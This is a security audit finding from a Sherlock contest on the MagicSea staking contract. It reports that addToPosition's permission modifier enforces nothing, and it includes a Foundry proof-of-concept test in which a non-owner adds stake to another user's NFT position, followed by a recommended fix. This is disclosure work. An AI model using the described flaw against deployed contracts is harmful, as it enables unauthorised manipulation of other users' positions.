luke - Every user can execute the addToPosition method even if they don't have the nft

[sherlock-admin3]

luke

Medium

Every user can execute the addToPosition method even if they don't have the nft

Summary

addToPosition(uint256 tokenId, uint256 amountToAdd) lack of control

Vulnerability Detail

the addToPosition method in the MlumStaking.sol file uses the _requireOnlyOperatorOrOwnerOf modifier to control permissions. The comment says "Can only be called by lsNFT's owner or operators," but _requireOnlyOperatorOrOwnerOf doesn't control any permissions.Every user can add position to the nft.
https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MlumStaking.sol#L392-L401

https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MlumStaking.sol#L140-L143

Impact

_requireOnlyOperatorOrOwnerOf always returns true, causing permission control to fail.Users can add a position to an NFT even if they do not own it.

Code Snippet

add the following function to MlumStaking.t.sol file.

function testAddToPositionAssess() public {
        // alice and bob mint 2 ethers staking token
        uint MINT_AMOUNT = 2 ether;
        _stakingToken.mint(ALICE, MINT_AMOUNT);
        _stakingToken.mint(BOB, MINT_AMOUNT);

        // alice create position(1 ether) & mint a nft (tokenId = 1)
        uint START_POSITION_AMOUNT = 1 ether;
        vm.startPrank(ALICE);
        _stakingToken.approve(address(_pool), START_POSITION_AMOUNT);
        _pool.createPosition(START_POSITION_AMOUNT, 1 days);
        vm.stopPrank();

        skip(43200);

        MlumStaking.StakingPosition memory position;
        uint tokenId = 1;
        
        position = _pool.getStakingPosition(tokenId);

        // check the onwer of tokenid = 1 is alice
        assertEq(_pool.ownerOf(tokenId), ALICE);
        assertEq(position.amount, START_POSITION_AMOUNT);

        // bob can still add positon to the pool where tokenId = 1
        uint ADDED_POSITION_AMOUNT = 2 ether;
        vm.startPrank(BOB);
        _stakingToken.approve(address(_pool), ADDED_POSITION_AMOUNT);
        _pool.addToPosition(tokenId, 2 ether);
        vm.stopPrank();

        // check the position amount after bob add position to the pool where tokenId belongs to alice
        position = _pool.getStakingPosition(tokenId);
        assertEq(position.amount, START_POSITION_AMOUNT + ADDED_POSITION_AMOUNT);
    }

run forge test --match-contract MlumStakingTest command

Tool used

foundry
Manual Review

Recommendation

use _requireOnlyApprovedOrOwnerOf instead of _requireOnlyOperatorOrOwnerOf

Duplicate of #378